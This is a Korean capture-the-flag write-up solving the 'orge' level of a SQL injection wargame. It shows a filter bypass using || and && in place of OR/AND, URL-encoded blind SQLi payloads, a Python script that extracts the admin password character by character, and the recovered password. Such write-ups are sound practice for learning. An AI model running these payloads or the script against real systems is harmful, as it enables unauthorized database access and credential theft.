
- (조건)
prob _ . \ or and문자 사용 불가
- 4. orc 문제와 동일하게 Blind SQLi 을 통해
admin계정의 패스워드를 추출하는 과정이 필요하다. - 현재 OR, AND 문자열이 필터링 되고 있으나, MySQL 에서는
|| (OR) 혹은 && (AND)문자로 대체하여 사용할 수 있다.
https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=%27%20||%20id=%27admin%27%20%26%26%20%271%27=%271

- 위 구문을 사용하여 블라인드 SQL 인젝션을 수행하면
admin계정의 패스워드를 추출할 수 있다.- (1) 패스워드 길이 추출 / (2) 패스워드 값 추출
- 공격에 사용한 페이로드는 아래와 같다.
# 패스워드 길이 : 8
pw=%27%20||%20id=%27admin%27%20%26%26%20LENGTH(pw)%3D8%20%26%26%20%271%27=%271
# 패스워드 값 :
Extracted admin's password : 7
Extracted admin's password : 7b
Extracted admin's password : 7b7
Extracted admin's password : 7b75
Extracted admin's password : 7b751
Extracted admin's password : 7b751a
Extracted admin's password : 7b751ae
Extracted admin's password : 7b751aec
import requests
TRAGET_URL = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'
COOKIE = {'PHPSESSID' : 'COOKIE_VALUE'}
PASSWORD = ''
for i in range(1, 9):
for j in range(33, 123):
URL = TRAGET_URL + f"?pw=%27%20%7C%7C%20id=%27admin%27%20%26%26%20ASCII(SUBSTR(pw,{i},1))%3D{j}%20%26%26%20%271%27%3D%271"
res = requests.get(URL, cookies=COOKIE)
if "Hello admin" in res.text:
PASSWORD += chr(j)
print(f"Extracted admin's password : {PASSWORD}")
break- 추출한
admin계정의 패스워드를 입력하면 “ORGE Clear!” 메시지가 출력된다. (풀이 성공)
https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw=7b751aec

🐛.. 🐛.. 🐛..